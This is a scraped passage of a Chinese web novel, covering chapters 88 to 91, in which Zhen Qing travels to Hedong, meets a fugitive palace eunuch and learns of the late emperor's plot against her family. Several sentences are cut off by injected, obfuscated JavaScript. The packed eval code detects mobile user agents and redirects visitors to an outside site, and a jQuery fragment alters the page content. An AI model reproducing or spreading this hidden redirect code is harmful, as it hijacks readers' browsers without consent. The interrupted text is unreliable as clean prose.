这阵子符生枝回来,陇右过上了之前那样清闲安逸的日子,吐蕃和突厥也逐渐安静,像是隐忍蛰伏,只待某一刻伺机而动。 陇右这边也未敢松懈。 枕清笑着对几人说:“怎么突然都来了。” “来听说你终日把自己关在屋内不见人,我们这是想看看究竟是什么一回事。” 枕清摇摇头道:“我没事。” 符生枝看着枕清除了瘦了,的确和平常无异,于是看向江诉和薄映禾,薄映禾道:“我们出去走走,散散心。” 枕清想要推辞,江诉先开了口,应下道:“既然哥哥嫂嫂都说了,自然是要去的。” 她不由看向江诉,也跟着轻松一笑道:“好,正好我也有事情与你们说。” 话音正落,他们三人形色各异,却又一样的凝重,总觉得枕清口中的这件事情并不是什么好事,可也没人开口询问究竟是何事。 枕清留意到他们的目光,并没有故作玄虚,而是直白地道:“我打算去河东一趟,郁华隐怀孕了,她想让我护送她回长安。” 郁华隐这人,对于符生枝与薄映禾而言是陌生的,但是也不至于完全的不清楚,不就是郁长啸的郎君么? 等会。薄映禾与符生枝的神情逐渐古怪了起来,就连江诉也有一丝疑惑。 符生枝道:“这个不是个男人么?如何能怀孕?” 薄映禾:“而且就算有孩子,此事又跟你有什么关系?为何一定要你去。” 枕清做了一个打住的动作,在他们狐疑的神色中,一个个解释道:“郁华隐是女子,而且她怀的是裴凌云的孩子,她必须要安全地回到长安,这算是一副底牌。她害怕被太后殿下发现,也不敢相信旁人,便找上了我。” 如此一说,他们算是明白,这郁华隐是抓住了裴家的底牌,以备不时之需。 这倒是给他们留下一个重大的消息,要是日后太后殿下连着圣上一同倒台,还有郁华隐这一招后手。 他们几人心中已有衡量,江诉眉宇间隐隐有担忧,他目光极轻、极慢地望着她道: “既然如此,那么裴凌云呢?为何她要独自一人回到长安?明明知道你在长安已无身份庇佑,她怎么敢确保找上你就一定行?这份信任未免也太足了一些。况且她以这样的身份回到了长安,难保不会先被治一个女扮男装的欺君之罪,要是连累到你,你想过吗?” 这些事情枕清并非是没有想过,她微微抬起下颚,望进那双暗淡不舍,隐隐有挣扎的双眸里,明明那么漂亮慈悲,可又显得这般痛苦,立时令枕清暗哑无言。 江诉知道枕清说出了这些话,自然已经有了定夺,即使他再说些什么,也改变不了枕清的主意。 江诉用温柔的目光瞧她,微笑道:“如果你们想秘密进入长安,待郁华隐瞒住自己的身份把孩子生下来,到时候谁又能确保这个孩子当真是裴家的?倘若到了那时候,没人承认,又当如何?” 枕清短暂地凝视了一眼江诉,恰似觉得江诉这样的目光太让她招架不住,于是慢慢地朝前面看去,语气坚定: “郁华隐没有说裴凌云究竟如何了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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枕清笑道:“我一直都在依靠你啊,江诉,我在你看不见的地方,有想着你,这也算极大的依靠。” 少顷,江诉无声敛唇,只听枕清小声问,似乎有茫然有愧疚,也有一点错综复杂的心疼: “江诉,你有没有觉得你总是妥协我,我好像不是一个特别好的妻子,我们成婚并未多久,却又要独自离开,你会不会觉得,有没有我都是一样的?” “不会。除了你,我没有娶过亲,我不知道你所说的好妻子究竟是怎么样的,我只知道你是个很好的人,在我心中,当然也是很好的妻子。即使成婚,你依旧有你的志向和目标,不拘泥于情爱之中,我很喜欢这样的你,虽然我自私地希望你的目光能在我身上停留更长久一些。” 江诉揶揄笑道,“你这是在心疼我么?你知不知道我们那个地方有这么一句话,太心疼男人会倒霉的。所以枕清,我希望你能开心些,不要为我们之间的关系常常感到亏欠而烦忧,我要这层关系并不是为了向你索取什么,仅仅是因为我喜欢你,想与你建立和旁人不一样的关系,而这份关系是我们彼此之间独有的。” 说及此处,江诉微微一笑道:“我依旧是那句话,我所做的这些事都是我心甘情愿的,我取悦你的同时,也在取悦我自己。” 枕清问:“你取悦了自己什么?” 江诉答:“你的高兴就是我的幸福。” 枕清在心中做了好一番心理预设,可是听到这些话后,心中那股原本平息的浪潮重新被翻涌了出来,她倒是更希望江诉能指责她,这样或许能让她心里的愧疚退散,达到一个平衡的点。 可惜她好像算低了江诉的包容,也算高了自己强硬的心,最后只剩下一片软烂的心疼,以及更加的迷恋。 枕清抬手锤了一下他,责怪道:“你故意的吧江诉,你这么说,我好像更难过了。” 江诉无声弯唇,握住她的手,笑道:“在这个世上,我本就一无所有,我有的只有一个你而已。枕清,我认真的。你要做任何事情我都不会阻拦,只要你能平安地活着。” “当然,我们都会活着的。”枕清嘴角翘起,走到一匹英俊白马旁,翻身坐于马上,随后打马而去,整个人的姿态明媚又张扬,仿佛回到了初见那次,也是如此美好。 89. 同道河东逢伊面(八) 枕清要动身去河东道时,齐离弦知道后也要跟着同去,枕清还没开口说同意还是拒绝,齐离弦十分自然的掀开马车外的帷帐走了进来,堂而皇之地坐下。 枕清扭头打量了一会神态自若的齐离弦,嘴角微微牵起,如果仔细探究,那么一定知道枕清这是在无语凝咽,她算是领会到了齐离弦的霸道不拘。 薄映禾知道这两人的脾性,反倒是没有多说什么,而是站在一旁乐了好一会,才开口一番细细地叮嘱,不过这两个人一起同去,才叫她更放心,枕清心中鬼主意多,而齐离弦的武力高强,都是以一抵十的高手。 枕清别有深意地看了他们几眼,最后直接下了马车,双臂勾上江诉的脖子,倾身仰头,来了一个漫长的深吻,挑衅又固执地望向齐离弦,直到看到她无语地偏过脑袋后,枕清才微微满意,在江诉袖中放入一件东西,随后在耳边低语:“等我。” 江诉看到枕清这般幼稚的一面,忽地一笑,听到那两个字后,笑意一顿,转换为淡淡的无奈:“知道了。” 齐离弦这次会去河东,估计是因为听到阿之奎要去攻打河东的原因,这样的心思,旁人或许不知道,可对于枕清而言,简直是昭然若揭。 枕清上了马车后,气定神闲地坐在一边,待启程后,枕清的视线定留在齐离弦身上。 “是去找阿之奎么?”枕清向来直接,这一番询问,不禁让齐离弦面色一变,她视线逐渐变得凌厉,倒也没有矢口否认,却也没承认,反问道:“你觉得呢?” “我啊?自然是觉得你去找他。”枕清狡黠地打量着她,“现在云流将军在那边,还有不少人马和军队,你打算怎么去见他?夜里偷袭去他的营帐,还是说要上战场与他争锋相对,当然还有一个可能,那就是你倒戈到他那边,我瞧着他也喜欢你,如果倒戈,我想他也会张开双臂欢迎之至。” 齐离弦露出幽深的眼神,无声地注视枕清,说不出是愤怒还是平静,没一会后,她仿若陷入茫然,凝思道: “你给我摆出这么多选择,我可得好好想一想,你这临阵倒戈的主意倒是不错,说不定大启一败,我还能当个贵妃。” 闻言至此,她们两人的心眼子都多,彼此都猜不透真心话,不过枕清知道齐离弦不会的。阿之奎不会放弃对付大启,而齐离弦经过上一次,也不会再选择阿之奎。 他们已经是完完全全的分道扬镳,不然彼时的齐离弦绝对不可能用一种开玩笑的语气同她打趣。 枕清心不在焉地道:“确实是个很好的选择。” 她们两人言语犀利,看似争锋相对,可真遇到危险的时候,又心心相惜。 枕清当初和齐离弦在长安那般相处,完全是因为彼此都不熟悉对方是怎么样的一个人,现如今见了薄映禾,倒是没有什么可担忧的,于是彼此的犀利都显露了出来。 枕清整个人都靠在马车一角,仿若放松下来,只剩下一身的疲惫。这段时间看似没出现任何问题,其实她的精神一直位于紧绷的状态,好像没人发觉,倒不是她装得有多好,而是一直用着药来维持。 她不知道怎么开口说这些事情,很多答应江诉的事情她并不能做到,起码江诉说的白头偕老,她或许就做不到。 想到此处,枕清在心中无奈地叹息了一声。 此时的阿之奎转向攻打河东,河东与安南的分界的州县已有沦陷之势力,所有人都觉得朝不保夕,形势也过于紧张,这一路上有很多人已经北上,顺势提醒她们说要去避开河东那个地方,倘若要打仗,势必又是百姓遭殃。 他们两人就是要朝那火坑中跑,不过在往来的人友善提醒中颔首道谢。 枕清在往来的途中收到了应钰的信件,她看到应钰要和盛松言离开河东,要去洛阳的消息,也分析了当下的局势,提醒她不要走水路,而每个关卡都已经开始严格通过。 枕清看完信件,唯独在信件的末尾挑了下眉,那是另一个人的字迹——我会在河东等你,记得来找我。 这个人想想就知道是陈琅,枕清将信件折起来放好,枕清原本就没有打算走水路过,现在多地战争而起,人人避之不及。 枕清得要先去找郁华隐,究竟是在廉州,还是去了其他地方。偌大的河东,枕清总不能真的一个个去找,把人翻出来,她打算先到河东境地,找上云流,借他的手来让郁华隐得知她的位置,从而来找上她。 总比自己去大海捞针好。 不过云流大将军是否真的能认出来她,又或者是,和商震真的关系极好,从而来帮她隐瞒住太后殿下么,可太后殿下与云大将军是亲兄妹,自然是不可能帮她的。 这个风险着实太大,还需要考究,倘若找上河东节度使,也不是不可以。 河东节度使李檄。 枕清的视线停留在了齐离弦的身上,问道:“我倒是忘记问了,你怎么跟我师傅认识的?” 齐离弦道:“你现在才想起来问我这件事,是不是有些太晚了。” “只要你开口说了,那就不算太晚。” “那我不说。” 枕清微笑道:“随你。如果你想要和我一起露宿街头的话,可以不说。” 说完,枕清闭目养神,心里却是焦灼腹诽。 真的是,师傅当初怎么没拿个玉佩或是宝剑给她,好让别人一眼就能认出她是他商震的徒弟。当初虽然有人常常找商震喝酒聊天吃肉,那时候她就坐在一旁看着,那些人也看到了她,不过这么久的事情,她早就长成大人了,谁还能认得出来。 出门在外,靠点关系或许能风生水起,不过谁能告诉她怎么认关系啊。 难不成还真的指望她在李檄面前哭天抢地说自己是商震的徒儿? 额头又开始隐隐作痛,枕清着实是没办法了,于是轻轻揉了太阳穴,迷迷瞪瞪道:“……李檄,还是找陈琅吧。” 她们去了河东盐池,那些人也认出了枕清,不敢隐瞒耽搁,连忙告知枕清陈琅去了李檄那里,而彼时李檄怕是早就到了廉州城内了。 到头来,说不定还是会与云流见面。 齐离弦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733551|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐上马匹,看到枕清一脸愁容满面,好像是天都塌下来一般,她顿时乐了一下,她极少看到这样的枕清,还真以为她能事事如意,且在掌握之中。 她慢悠悠道:“怎么了,你看起来很是苦恼,难不成怕出现什么状况?” 枕清瞧了一眼她这副探索的模样,扯了扯嘴角,从容不迫道:“安心,一切尽在掌握之中。” 又回到了原本的样子。齐离弦却没有那么镇定,反倒是因为越来越靠近廉州,心中那颗心跳动得更为快,就像是要从胸膛中跳了出来。 想来更是烦乱,齐离弦当即扭头看向马车外的崇山峻岭,一片又一片地丛林逐渐驶近,又远离。 她眼睛慢慢浮出一点红,声音散落在风中:“我与你师傅是在官道相遇的,那时候他遇到匪寇,是我出手帮了忙,随后聊了一番,这才知道我们两个人所要去的地方是一样的。” 枕清闻言,慢慢地看向齐离弦,齐离弦却没有看枕清,只给枕清留半张侧脸,她继而笑道:“并不是我有多大本事能得你师傅幸识,这全部都只是因为你——枕清,如果我杀了阿之奎,你说,他会化作厉鬼来找我吗?” 听罢,枕清挑眉相看:“你这是做好打算了?” 齐离弦这才转向枕清,眸中多了几分痛楚的畅快,好像是一个凌虐自己的疯子,她无奈摊手道:“都已经到了这一步了,我不打算也不行。” 枕清分析道:“上一世,他准备了这么久,才徐徐攻下长安,如今这么快就有了动作,我觉得他并非奔着长安来的。这不符合他的作风,或许是有什么东西,或者有什么人加快了他的动作。” 这件事,她们两人都无从猜测,可是枕清依旧想到了先前阿之奎在长安疫病那一遭,定然是有长安的人马跟他通气。 “你知道他在长安有见过什么人么?”枕清一想到齐离弦不了解朝堂中的局势,就跟没讲一样。 齐离弦确实不认识朝中的人,但是她还是记得有几个人:“他杀了户部尚书秋迹的儿子,秋淮波,我那时候还听到有人称呼某个人为郡王,你可以从这里下手,而且跟秋淮波玩得好的人都有谁呢?应当不难猜吧。” 郡王么,也就是李酌赋一人。 如果是他的话,倒也是正常。 既然已有线索的源头,自然能查到一些蛛丝马迹。只可惜枕清后悔之前在驿站的时候没有把李酌赋杀掉。 她哀叹惋惜。 廉州乃是流放之地,多暑热瘴气,却因为阿之奎的动作,带来了前所未有的紧张,人也从未有这么多过。 这行军打仗光靠人力是不行的,自然还有天时地利人和。 或许此处的地形也可以利用起来。 她们这一路驾着马车,听到有人控诉道:“要打仗要打仗,他们那群人知道一匹马一口粮吗,他娘的拿得出粮打吗?” 另一回道:“旁人要打,你又能如何阻拦?” 有人啐了一口:“狗娘养的安南人。” 声音逐渐远处,只能听到零星破碎的声音。 90. 难忘枕上十年事(一) 她们两人还没走近廉州城内,便被侍卫拦在城门之外,周围有许多百姓拿着包袱逃出城内,打算穿过此地,当即就要往北上而去。 如今四方多虞,万里喋血。 陇右被吐蕃和突厥虎视眈眈,河东则战火四起,百姓们觉得去往哪地都不安全,却只好选择一个目前最为安全的长安。 她们被拦下后,有人见枕清与齐离弦单枪匹马的女娘,心中升起怜悯,当即跟她们说着天下局势早已到了瞬息万变的时候,不要再往南去,跟随旁人一起北上吧,那里安全。 只是教她们如何走,却不分析局势,或许那些人觉得她们是女娘,说了也不懂,只是告知她们该往哪条路走。 枕清颔首,姿态有些不问世事的天真,话语中有意无意从侍卫嘴中打探了一番形势。 也让她得知阿之奎身旁有一位叫周犹的门客将云流将军围困在廉州城内,河东节度使李檄率领军队前往救援,正好赶上汉水暴涨,只好指挥水师迎战,不料大败,安南俘获步兵三万余人,打算将其押送回壶关。 已经达到壶关,说明这两个月阿之奎已经连破洚、泽、潞三州,这样的军队可以说是极其迅猛,所向披靡,势不可挡。 而枕清也总算是知道阿之奎找到另一个人是谁了——张宣晟 那小侍卫见枕清走远,才后知后觉地发现自己被那位女娘套了话,竟然说了这么多局势。 今年多暴雨,淹了低矮的房屋,冲走了兵刃,霉湿了粮草,阿之奎那边有人似乎极通天运。 百姓叫苦不迭,有人唯恐不乱般说这就是天意,要灭了大启的天意。说完倒开始“赫赫”地狂笑,笑意里是无尽的畅快痛意。 枕清不由朝那个人看去,却见他模样疯癫,看似是个狂生。 有人注意到枕清的目光,小声提醒她道:“那人就是个颠汉,好像是从宫里逃出来的大监,当初被仍在了乱葬岗中,幸得人相救,才活下来。小娘子也不必理会他,就当他在说胡话吧!” 宫内逃出来的大监。枕清静静凝视着他,那位狂生猛地看向她,眼神犀利,恨不得将她生吞活剥,眼神极其颤人,叫人不敢多看。 可这么多年里,枕清怎么会怕,她嘴角勾起一抹轻蔑的笑容,并不和善,似鄙夷又似怜悯,甚至还有些许得意地挑眉,活像是最阴险的胜利者,看着他的摇尾乞怜。 狂生不知道枕清露出此等神情是为何意,但是他一眼就能猜出来枕清是皇宫里出来的人,那样貌和气度,以及居高临下睥睨的眸光,非常叫得他不舒服。他面露憎恶,阴暗的神情逐渐失去了聚焦,却又比任何时候都更为清明。 明知道枕清是故意的,可他还是忍不住心生痛苦的畏惧,已经无法克制的憎恨。在下一刻,他掏出怀中的匕首刺向枕清,齐离弦眼疾手快地握住他的手腕,用力一折,骨头断裂的声音传来,听得枕清啧啧叹息,又露出悲悯的神色道:“真可怜呐,到底是痴人,还是疯癫。” 枕清在他刚才的目光认出来了他,是在上一世,对太后痛下杀手的疯子。 既然如此憎恶太后殿下,为什么现在会出现在这里,而日后又为什么千里迢迢地去刺杀太后。 这个人太奇怪了,很多事情她都不清楚,也难怪她上一世也是死得糊涂。 “为什么杀我?觉得我像太后殿下?还是说怀疑我是宫中的人?”枕清微微瞥向齐离弦,齐离弦当即会意,一脚踹到他的膝窝,那人被迫单腿跪地,只得仰头去看枕清。 枕清从来都不觉得自己是个好人,可是当这个人跪在自己身前的时候,她还是忍不住后退,就好像是原本就不应该这样。 她似乎被江诉传染了,但也只是恍惚了一瞬,当即又恢复原本的模样,勾出轻蔑的笑道:“人人道你是痴狂,可我看你倒是清明得很,你究竟是谁,身上藏着什么样的秘密?” 那人却不再看枕清,知道自己已经暴露了,选择闭口不言,不然说多错多。 当初在宫里,师傅就告诉他,多磕头少说话。 他已年迈,双膝因为常年跪着,泛起阵阵的疼痛。维持不了多久,他另一只腿也跟着一同跪了下来,弯曲着身子,朝枕清磕了一个响头。 齐离弦不知道他这般模样是何意思,只好看向枕清,枕清也被这样的动作惊讶了一下,她看向那把掉在地上且被踢远的匕首,这才缓缓蹲下身子,抬手拍在他的肩膀上。 “我们谈谈。”枕清扶起他的手臂,“我不是太后殿下的人,也不是圣上的人。” “禹王的人么?”那人猜测着问。 枕清轻轻拍了拍他身旁的草屑,道:“我也不是他的人,只不过是一颗废弃的棋子,无名小卒罢了。” 这前后完全不一样的状态,颇让人觉得打一巴掌再给一颗甜枣的意思。他也是一头雾水,不知道枕清究竟是何意思。他已经很久没有同旁人正常说过话了,突然有个人这么对待他,他觉得自己有些不知所措。 枕清露出人畜无害的笑容,方才的那般模样就像是一种错觉,可又觉得她是一个会吃人的怪物,先是哄骗,再吞入腹中。 这样的人才是最适合进入那杀人不眨眼的皇宫中。 一时之间,他竟然也不知道如何开口,只好等着枕清先出声,许久之后也没听到声响,他才徐徐看向枕清,没想到枕清笑吟吟地望着他说:“我好像想起来了,大监是先皇的人吧,怎会沦落至此?” 先皇。 许久没想起过这个人了。 枕清感受到此人微微震颤的动作,知道他是怕极了,于是伸出手拍了拍他的肩膀,表示安慰。 这一动作,令他沉沉闭眼,感受到久违的人样。 奴才当久了,不知道人是怎么立起来的,他眼睛悬着热泪,突然觉得自己这一生活得何其荒唐,为了一件事装聋作哑了十多年。 明明不是他的人生,为什么他要在其中交织一辈子? 他痛,也恨。 许久后,他才缓缓开口道:“贵主猜错了,我不是先皇的人,你说的那人是我的师傅。他老人家进宫的时候,便一直跟在先皇身边,而我也一直跟在师傅身边,师傅说皇宫是个吃人的地方,像我们这种只能依附他人的蝼蚁,便要多磕头少说话。” ——多磕头,少说话。 枕清这才明白为何他方才对自己磕了一个响头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13738134|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们心中早就没有了自尊,而所有的一切都只是为了能活下去。 而他师傅教他的这一句话,伴随着他一生。 枕清很平常地问:“大监叫什么名字?” “磕头。因为师傅领着我的时候,我每见一个人,就叫我磕一次头,听得多了,我好像就叫磕头了。”他苦笑一声,“贵主喊我小顺子吧,我打小就被送进宫来,的确没有名字,大家都叫我小顺子。” 小顺子,这个名字多少有些讽刺了,他这一生看起来并不顺畅。 枕清从善如流道:“我知道了。” 小顺子继续道:“我这人,其实烂人烂命一条,是师傅把我捞过来的。承蒙他不嫌弃,我才慢慢走到皇家的跟前来,不过后来,一切都倒了,随风而去。师傅和其他人知道了先皇的秘密,先皇害怕暴露,杀了知道内情的所有人。师傅他为了保护我,选择不告诉我,可是,即使我不知道,先皇也会因为怀疑、担忧,对我除之而后快。 “师傅跟在先皇身旁那么多年,自然也清楚先皇是个什么样的人,师傅心一横,在临死之际告诉了我,而我装作不知道,战战兢兢过了许多年,直到皇后殿下成为了现如今的太后,我才得以有喘息的机会逃了出来,可太后殿下仍旧要对我赶尽杀绝,但我压根没想过把这件事告诉任何人!他们为什么还是不肯放过我!这究竟是为什么!” 说着,小顺子越来越崩溃,他双手紧紧抓住枕清的肩膀,忍着钝钝刺入骨血的疼痛,大声怒斥道:“我受他们那么多年的折磨,我师傅也死了这么久,为什么,我为什么要遭受这些?可我分明什么都没有做!我什么都没做啊!” 眼睛因为暴怒而泛起干涩的猩红,眼泪瞬间充盈眼眶,可他并未落泪。 枕清的肩膀被捏得生疼,她静静注视着小顺子,没有露出任何不满或者怜悯,仿佛是一个不悲不喜的局外人。 见到如此漠然的神色,小顺子才恍惚察觉自己的失态,悻悻收回手,纵有千言万语,却也无人感同身受。 枕清轻轻道:“我明白,我的家人也死了,被先皇害死的。我也曾经大骂天道不公,为何遭受这般苦难的人是我,可我明明什么都没做。” 齐离弦默默听着他们的对话,突然觉得心头有什么东西堵着,明明做错的人不是他们,却又是他们承受了结果。 小顺子望向枕清的目光变得不同,那是同病相怜的怜悯,以及无可奈何后被压低的脊背。 只不过他的脊背更低,而枕清,他看不清。 这样的情绪太过悲哀,枕清不是个喜欢诉苦的人,也不愿意长期沉浸在悲伤中,即使遍体鳞伤,她也要忍着痛,与那人杀个你死我活,即使失去性命也在所不惜。 只不过,有时候这样的情绪能叫人放下警惕的芥蒂,倒是挺好用的。 枕清没有带着特有的目的性问先帝的秘密究竟是什么,即使她想知道,却也会耐着性子让小顺子自己开口告诉她。 而她也没有说明白先帝是怎么害死她一家人的。 彼此都不留痕迹的隐瞒,却又说出来同一个憎恶的人。 拉近了防备的距离,却也没有完全放下警惕心。 91. 难忘枕上十年事(二) 枕清原本想要去廉州城内找陈琅的念头也就此中断,河东节度使李檄大败,朝堂已经大为不满,而云流将军又被困在廉州城内,太后殿下却是心急如焚,自然不可能任由自己的亲哥哥深陷牢笼之中。 一定会下令要朝陇右那边借兵,抑或是向谢家要兵符来出动人马,而谢家丢了这么大的东西,太后殿下此番明知故问的举动,更会叫谢家大为怒火中烧,一定会找旁的理由搪塞过去。 眼睁睁看着安南人如何一点点将大启吞噬殆尽。 所以最后太后殿下只能选择从陇右那边借兵过来,而领兵的人当然不会是符生枝,而是太后信得过的江诉。 枕清倒是挺奇怪太后殿下为何会那么信任江诉,就连游走在禹王身旁,都没有引起芥蒂和怀疑,不知道该说江诉有本事,还是旁人所传闻的那般,太后殿下是真的很喜欢江诉。 至于谢家,谢家人不知道自己的兵符最后落在枕清身上,不过这件事并非只有她一个人知道,现下应该还有江诉。 第一天从陇右道要出发去河东道的时候,枕清觉得兵符带在自己身上太过危险,便在分别那日把兵符藏入江诉袖中,她也提前书信两封,一份给禹王,另一份给江诉。 枕清去往河东道那日,江诉已经感受到袖子重重地下垂,原以为是一件什么稀奇玩意,在符生枝看完两个人的吻别后,别有深意的驱使江诉打开一看,没想到是谢家的兵符。 他们三人瞬间面色大变,不得不佩服枕清真会藏大宝贝,就是不知道这个东西究竟是真清偷来的,还是抢过来,抑或是谢家人亲自送上。 第三条直接被三人否决了,谢家人脑袋被驴给踢了才会把这么重要的东西送给枕清,但也绝对不可能是抢过来的,不然按照谢家人的性子,定然要闹上一番,也绝对不可能放过枕清,至于偷么,枕清并不至于沦落至此。 符生枝则是一锤定音,说这个就是偷的。 可无论是何种手段得到的,这个谢家兵符终究是一个重磅的雷,而且在这一天把他们几人炸得面目全非,也叫他们看不出枕清身后究竟有多少后招,好像身上有着无数的退路,而且这种退路是绝无仅有的,也让人生出一股,似乎有枕清在,一切都能迎刃而解。 说什么江诉像是菩萨,明明枕清更像是个活神仙。 符生枝暗自腹诽。 至于这个保命的烫手山芋,最后还是江诉好好收着。江诉倒是没有觉得这些是枕清故意得到的,应当是在某个巧合下拿到的,之前都没有此物的出现,或许是从河东到陇右这个期间见到了什么人,遇上了什么事。 即使这个范围被缩小了,可是他并非神通广大,事事都能知晓了去,他只紧紧握住这个坚硬冰冷的物件,就好像是在危险之际带了最后一丝的清醒。 虽说陇右道这边的消息只进不出,但是进来的消息却比长安还要快,河东道的局势一变,符生枝就已经知道了,而江诉拿着枕清的信件走了进来,三人交换视线,统一选择按照枕清信中所写的法子进行下去。 枕清在信中还点明了好几个人,除了太傅易为之和小郡王李酌赋,其他两个人符生枝压根就没有听过。 符生枝点了点张宣晟和周犹的人名,问道:“这两个人,究竟是谁?” 江诉自然不可能跟他们两人说上一辈的事情,只言简意赅道:“禹王府中曾经的门客,可能是在王府中待不下去了,便跑到安南人那边去了。” 符生枝点点头道:“这样啊,怪不得从未听过。” 陇右已经到了一个和平的节点,有符生枝坐镇,突厥与吐蕃便亦是不敢轻举妄动。 江诉原以为会和枕清在长安见面,没想到河东的形势已经到了如此危急的时刻,只好表面奉着太后殿下的命令率着不少人马支援河东,实则一切都在枕清的猜测中进行。 这边的陇右并非是一滩乱泥,之前被江诉报复的兰州刺史换了另一个人上来,而原本相对渭州刺史下手的符生枝又改变了主意,让北肆野继续坐上那个位置。 即使让北肆野复位,北肆野也早就找好了人管理所有事务,渭州大小事他都不用太过操心,于是找上商震,两人悄悄钻进了江诉的队伍中。 江诉哪里没有发现这两人,一路上就他们最显眼,不过大家还是装作不清楚的模样,张飞飞坐在马上,小声跟邓跃嘀咕:“这两顽童究竟想干什么啊,长史居然没有赶他们走的意思。” 邓跃眼神稍稍后瞟,看到那两人,收回目光道:“少管吧,这两人怕是比长史的本事还大,他们来,自有好处。” 张飞飞疑惑:“没有坏处?” 邓跃肯定道:“有。” 张飞飞眼神一亮,赶忙问:“什么?” 邓跃点点他因好奇靠近的胸膛,笑他:“你的心思太散了,全关注那两老头去了。这就是坏处。” 张飞飞这点心思被发现了去,突然有些不好意思,他抬手挠了挠脑袋,忽然嘴角一咧,没再开口说话。 殊不知落在后边的商震和北肆野这是在嫌弃李檄丢脸,怎么好端端让安南打了三万人,这简直是奇耻大辱! 十句有三句是骂他李檄的,至于后面七句,则是夸自己当年风姿卓越的模样。 身边的人聚精会神地听着,确实难以想象他们是一群意气风发少年郎的模样,可是他们也听过商震的大名,确实极为有可能。 与此同时阿之奎打算迁换阵营,立都于晋州,可张宣晟觉得不妥。晋州距敌太近,想把首都迁往黄河以北,以躲避李檄的兵锋威胁...... 即使李檄此次大败,却也不能掉以轻心。 枕清倒是没想明白这李檄为何会大败,但隐约听到了不少的消息,据说是因为有人走漏了消息,而彼时正好听到李酌赋正在云流将军旁边,听说是李酌赋的阿爷叫他去的,说是跟着云流将军好好锻炼一番。 她嘴角扯起一抹弧度,把上战场当成锻炼,把人命当成训练。 况且李酌赋此人,最不可信。 当下最着急的便是如何把云流怎么从廉州城解困,倘若让云流多待在李酌赋身边一刻钟,那么就多一刻钟的危险。 最怕不是死在敌人手中,而是死在自己人的暗算下。 彼时的她没有任何兵力,只好先去找李檄,再作打算。 她们二人带着小厮打算去往李檄后退的那处代州,小顺子拦住了她们,说自己也想跟着同往。 小顺子这人身上还有秘密,况且枕家的事情也跟先皇有关,或许他还能知道不少秘密。 只不过她们的动作过多,当今时局混乱,自身难保,如何还能带上这样的一个人? 而且她们会暴露自己的身份,到时候她还要帮着郁华隐回到长安,这样做,不稳妥。 可是活人比死人好开口。 恰似看出了枕清心中有担忧,如今天下纷争开始,拖上这么一个他自然会叫人为难,他贴心道:“贵主不必担心,倘若真遇到事情,你们先走,不必管我,我绝无怨言。我也不会暴露你们的身份,在这个世界,除了一条烂命,本就无牵无挂。” 齐离弦望向枕清,枕清在心中极快地权衡了一番,将丑话说在前面:“我可以带上你,不过我不能确保这一路上,你不会受任何伤害,能活着回到长安。但是,我也会尽我的能力,带你上路,保你平安,不过这个前提是,你得告诉我,你知道的秘密。” 枕清的目光逐渐变得极深,落在小顺子的身上,好像是能将人看穿,也像是这个世界上最会算计的人。 这样的一番话,简直就像是黑心商人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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小顺子早就知道像她这般出身的贵人,到底是朝利益看去,哪有什么平白无故的帮你,世间险恶,他都已尝遍人间疾苦,对于如此反差的枕清突然觉得有些畅快,倘若是丝毫不求回报的好,他都不知道自己究竟敢要与否。 他笑笑道:“我还有一个秘密,那就是先皇对枕家动手的原因。枕家,小娘子如此豆蔻年华,一定不知道,但他是在梅海之前的大启首富。” 说到此处,他顿住了,并不知道枕清是否对这件事感兴趣,看到枕清眉峰微微一动,恰似有继续听下去的意味,他赶紧又道: “不知道先皇从哪里知道枕家有一座金山,那时候国库空虚,就打起了枕家的主意,故意安排了一个罪名给枕家,使其满门抄斩。而我有金山的地图位置。” 听完,枕清依旧是那一副模样,好像是漫不经意地不关心,却又把每个字都听了进去。 小顺子方才一直关注枕清的动作,想要在她的神情下探查到一点不一样的举动,可是他忘记了枕清是个极其能隐藏情绪的人,后知后觉地僵硬着脑袋,偏向身后的齐离弦。 这位小娘子可比枕清好对付得多,她的神情有些惊愕,正望着枕清,见他看来后,才猛地收回目光,察觉自己的外露的情绪,哽着脖颈不说话。 看两人这样的模样,似乎对于枕家也不是一无所知,忽然有股奇怪的感觉升在心口,想到禹王府中的小县主,他小心翼翼地问:“敢问小娘子贵姓?” 枕清微微低垂眸光,唇瓣微启:“枕。” 小顺子猛地抬首,心跳骤停,随之而来的便是狂烈跳动,仿佛要蹦出胸腔之外,他抑制不住地颤抖,只听枕清轻嗤一声,声音不急不缓:“大监害怕什么,我又不姓枕,我叫北肆姝,莫非你是听错了什么?” 小顺子不知道自己是否听错了,总觉得有些古怪,总不至于有那么巧合的事情,一定是他心里所想的东西太多,当即顺着坡道:“是我听错了,小娘子勿怪。” 彼时城门之上的敲钟声响彻天边。 枕清抬头看向黑沉的天际,一切似乎都找到了答案,其实在很早之前,她便已经想明白了事。不是禹王,不是太后,也不是符生枝,是先皇,是已经死去的先皇。 